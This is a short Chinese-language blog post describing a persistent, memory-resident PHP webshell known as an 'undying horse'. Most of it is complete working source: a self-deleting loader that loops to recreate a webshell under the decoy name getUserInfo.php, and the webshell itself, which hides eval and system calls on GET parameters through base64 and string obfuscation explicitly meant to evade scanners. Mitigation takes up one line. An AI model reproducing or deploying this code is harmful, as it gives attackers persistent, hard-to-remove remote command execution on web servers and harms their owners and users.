前言 記憶體木馬,就是在記憶體中運行的木馬病毒,沒有代碼實體。記憶體木馬有著強隱蔽性,排查困難,殺不死(俗稱不死馬)的特點。 網路安全行業,有著很強的木桶效應。系統對抗黑帽,勝負取決於安全最薄弱的環節。黑帽對抗白帽,勝負取決於攻擊水平和和毀屍滅跡隱蔽的水平。 正文 本文不討論是由於任意文件上傳還是近源攻擊 ...
前言
- 記憶體木馬,就是在記憶體中運行的木馬病毒,沒有代碼實體。記憶體木馬有著強隱蔽性,排查困難,殺不死(俗稱不死馬)的特點。
- 網路安全行業,有著很強的木桶效應。系統對抗黑帽,勝負取決於安全最薄弱的環節。黑帽對抗白帽,勝負取決於攻擊水平和和毀屍滅跡隱蔽的水平。
正文
本文不討論是由於任意文件上傳還是近源攻擊讓生產伺服器有了一段可訪問的惡意代碼。
病毒源代碼(很簡單)
<?php
//設置腳本不超時
set_time_limit(0);ignore_user_abort(true);
//刪除文件本體
@unlink(__FILE__);
//給木馬病毒起一個迷惑性的名字
$file = './getUserInfo.php';
//死迴圈常駐記憶體。釋放木馬文件
while(true) {
if(! file_exists($file)) @file_put_contents($file, base64_decode('PD9waHAKaWYoJGUgPSBAJF9HRVRbJ2UnXSkgewogICAgJGZ1bmMgPSBAY3JlYXRlX2Z1bmN0aW9uKG51bGwsIGJhc2U2NF9kZWNvZGUoJ1pYWmhiQ2dpJykgLiAkZSAuIGJhc2U2NF9kZWNvZGUoJ0lpazcnKSk7CiAgICAkZnVuYygpOwp9CgppZigkcyA9IEAkX0dFVFsncyddKSB7CiAgICAkZiA9IHN0cl9yZXBsYWNlKCd4JywgJycsICd4eHhzeHh5eHN4eHh4eHh0eHhleHh4bXh4eHh4eHh4Jyk7CiAgICAkZigkcyk7Cn0='));
sleep(60);
}
釋放病毒本體
<?php
//以下代碼實現了eval關鍵字和system函數的偽裝
//eval($_GET['e']);
if($e = @$_GET['e']) {
$func = @create_function(null, base64_decode('ZXZhbCgi') . $e . base64_decode('Iik7'));
$func();
}
//system($_GET['s']);
if($s = @$_GET['s']) {
$f = str_replace('x', '', 'xxxsxxyxsxxxxxxtxxexxxmxxxxxxxx');
$f($s);
}
說明
- 以上關鍵敏感代碼都做了編碼,用於避開各種安全掃描的免殺。
- 一旦病毒樣本運行起來,就會刪除掉自身,並長期運行在記憶體當中。
- 就算被釋放的木馬被識破後刪除,還會產生同樣的文件。
解決方案
幹掉進程後,刪除釋放的木馬文件。